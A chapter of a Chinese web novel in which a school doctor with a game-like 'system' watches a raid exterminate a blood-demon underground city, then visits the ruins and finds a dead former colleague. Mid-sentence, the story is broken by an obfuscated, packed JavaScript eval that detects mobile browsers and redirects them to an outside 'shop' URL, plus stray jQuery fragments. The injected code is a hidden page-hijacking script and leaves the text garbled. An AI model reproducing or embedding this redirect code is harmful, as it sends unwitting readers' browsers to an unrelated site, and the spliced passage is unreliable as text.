35. 死亡一视同仁

作品:《关于我们校医老师是幕后BOSS这件事

    天亮了。


    林砚出来得有些晚了。晨光从长渡城边缘的裂缝渗进来,有些刺眼。


    姜钰醒得早,半小时前就起来了,然后她发现了林砚的消失。


    但这个时间不算太久。


    早起透气、找地方洗漱、或者只是走远了些解决生理需求……多得是能解释的理由。但姜钰的手指还是无意识捏紧了通讯器边缘。塔主亲自交代过要看顾好这位林老师,她不敢大意。


    姜钰没急着上报,先自己在外围找了一圈。“脉动视界”展开又收起,脸上是压不住的焦虑。


    直到她看到了林砚。


    林砚赶在余绣纶回到小队驻扎营地之前,在营地边缘和她汇合。余绣纶的身影从阴影里浮出时毫无征兆,像从水里升起的幽灵。她看到林砚,脚步顿了一下,眼神在他脸上扫过,然后点点头,什么都没问。


    两人并肩往营地走,晨雾尚未散尽,远处长渡城的轮廓变得朦胧。


    看到林砚是和队长一起回来的,本来急得冒烟的姜钰顿时松了口气。她小跑过来,嘴唇动了动,似乎想问什么,但余绣纶先开了口:“准备联络指挥部。”


    这话转移了她的注意力。姜钰立刻点头,再后也并未提及林砚早上不在的事。


    林砚自然也不会主动解释这些误会。


    执行院的增援人员来得很快。


    太阳升到半空时,执行院调来的九支小队成功与余绣纶小队会合。


    总计十支队伍,由执行院指派总负责人进行再分配,按源血能力分为七支精锐战斗小队,三支新人辅助队。


    以余绣纶探测到的血魔人数来说,这完全是饱和式增援。


    执行院不打算谈判,不打算留俘虏,也不打算放过任何一个活口。


    他们包围了地下城出入口,每个口子由两支小队把守,其余人从主通道进入,逐层清理。行动预计在晚上进行。


    这里距离长渡太近,无论沸血者还是血魔,都不喜欢把战斗蔓延到普通人面前。不让普通人参与超凡战争,是所有觉醒者的共识。


    行动名单里没有林砚。


    负责人分配任务时甚至没看他一眼。这很正常,林砚的编制隶属白塔医务处,哪怕名义上他也只是应急医疗支援。在没有伤员需要他处理的现在,他成了闲人。


    等待的时间让林砚有些难熬。


    好在,他还可以查看系统消息。


    系统界面在他视野边缘展开,半透明的地图覆盖了现实景象。地下城的结构以简略的线条呈现,密密麻麻的红点代表着一条条生命。


    战况并不激烈。


    毫无防备的血魔们,遇到了全副武装的精锐执行人。他们可能在睡觉,可能在吃饭,可能在照顾孩子,然后杀戮就来了。


    尽管是非正义的偷袭,但战争本就绝非正义。


    出口处的红点试图突围,但守在那里的执行人早有准备,源血能力的光芒在地图上炸开,然后红点成片变灰。无论是血魔还是白塔的执行人,等他们迈向死亡,在系统界面里,也不过是一个个变灰的红点。


    大地切割了地上与地下,也隔绝了一切声响。


    等清晨的太阳再次升起时,行动结束了。


    执行院的人陆续从通道里出来。回来的人身上大多带伤,多是皮肉伤或源血反噬。


    没有人重伤到需要林砚出手救治。


    需要的人已经死了。


    一切都同昨日无二。


    余绣纶的小队是最后一批返回的。


    她换掉了沾血的外套,但身上的作战服还有干涸的暗红色污渍,已经结成了硬块。头发又湿又黏,分不清是自己还是血魔的血液从发梢滴落。


    “林老师,”她快步走过来。看到林砚时松了口气,“我们大获全胜,有血魔拼命换走了几个人,但基本上大部分都清剿完毕。有两三个逃跑了,主队正在追捕。”


    余绣纶捋了捋糊在脸上的头发。


    “我们准备撤退了。林老师,你是跟我们一起先行离开,我们把你送回去,还是等白塔收尾小组来,跟学生们一起回去?”


    林砚看着她。


    余绣纶的眼睛很干净,没有愧疚,也没有兴奋,只有完成任务后的放松。对她来说,这只是一次成功的清剿行动,和以前无数次一样。


    林砚不打算接着麻烦他们,打算等白塔的人来了再顺路回去。


    况且,他也需要去地下城里确认一下。


    “我跟白塔的人一起回去吧。”林砚说,“不麻烦你们了。”


    余绣随即点头:“好。收尾小组预计下午之前会到位,他们会处理现场。你一个人注意安全。”


    收尾小组还没到,林砚先下去了。


    系统只告诉了他伤亡数量,林砚没有细问具体情况,因为他想亲眼去看。


    通道里很安静,只有他的脚步声。血腥味从深处涌上来,越来越浓,浓到几乎凝成实质。林砚放慢了呼吸,但那种味道还是钻进了鼻腔,甜腻中带着铁锈味,令人作呕。


    本就破破烂烂的厄科斯如今更为破烂了。


    墙壁上布满了裂痕和焦痕,有些地方被整个炸开,露出后面的土层。地上积的不再是水,变为了红色的海洋,半凝固的血液混合着碎肉和组织液,在坑洼处汇聚成小潭。超能力造成的破坏比比皆是,有些通道甚至因此塌陷下坠,废墟下还有人类的残肢。


    人类总是容易为同类的惨状产生感同身受。


    在林砚作呕之前,系统调整了他的视觉。那些过于具体的细节变得模糊,颜色也被淡化,红色褪成暗褐,白色变成灰白,整个场景像一幅劣质的油画。


    谢了,系统。


    林砚想要深呼吸调整心态,但周遭的血腥气息不允许他这么做,浓郁的血腥气同样让他感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030340|191871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到恶心,那种味道钻进喉咙,黏在舌根,挥之不去。


    好在这里没有别人,不会有人注意到他的失态。


    他继续往里走。


    虽然林砚记不清路,但系统记得。视野边缘,半透明的箭头持续为他指引方向。


    一日之间,故地重游。


    林砚只想看看这里还有没有他熟悉的面孔。


    他找到了。


    哪怕在预料之中,林砚也不由得感到伤悲。


    城主屋的门框是暴力拆除的,碎木散了一地。屋里的景象比外面好一些,至少没有那么多血迹。


    王敬死得不是很安详。


    他似乎抗争过,只是中途不知为何又放弃了。


    王敬是以血魔的身份死去的,面部的血蚀印证了他曾为生存奋力抗争。眼镜被他取下握在手里,镜片碎得只剩下半片。他闭着眼,脸上的表情有些扭曲,死前他还想着让自己表现得体面释然,又因痛苦变得扭曲。


    到死,他都没能离开这间并不宽敞的城主屋。


    林砚在门口站了很久。


    他想起王敬在白塔时的样子:总是穿着熨烫整齐的衬衫,金丝眼镜后的眼神温和,说话慢条斯理。他是教务处的负责人,每年开学典礼都会站在台上致辞,欢迎新生加入白塔。


    即将前来收尾的学生们也在其中。


    不知道算不算得上好消息,林砚没在这里看到亚巴顿。


    林砚一路上都没看到过他的脸,以亚巴顿的能力和警觉性,他大概率是跑掉了。


    林砚希望他跑掉了。


    “唉。”


    那口气终究还是叹息出声。


    林砚到底本身是个在文明社会出生长大的人,还是见不惯这种杀人与被杀的场面。


    王敬毕竟曾经也是他的同事,无论如何,在作为老师照看学生的时光里,他一直是个合格的老师。他在白塔工作了十几年,送走了一批又一批学生,无论接下任务的学生是谁,他们必然都认识这位曾经的老师。


    这与学生的最后一面,还是给他保留些颜面吧。


    远处遥遥传来脚步声,负责收尾的学生来得很快。


    林砚不作他想,蹲下身体,给王敬收拾出最后的体面。


    他没有别的需要关注的事了,地下城很快就会变成真正的废墟。林砚准备离开厄科斯,回到地面上去等。


    最后看了一眼王敬,林砚转身离开。


    脚步声越来越近。


    收尾的学生在拐角与他擦身而过,然后猛地回头。


    “林医生!你怎么在这里!”


    这声音……


    红发少年站在通道里,穿着白塔的制服,外面套了件一次性防护服。他眼睛瞪得很大,眉毛几乎要飞出发际线。面部五官乱飞,看起来比林砚还惊讶。


    林砚眨了眨眼。


    “早上好,陆燃同学。”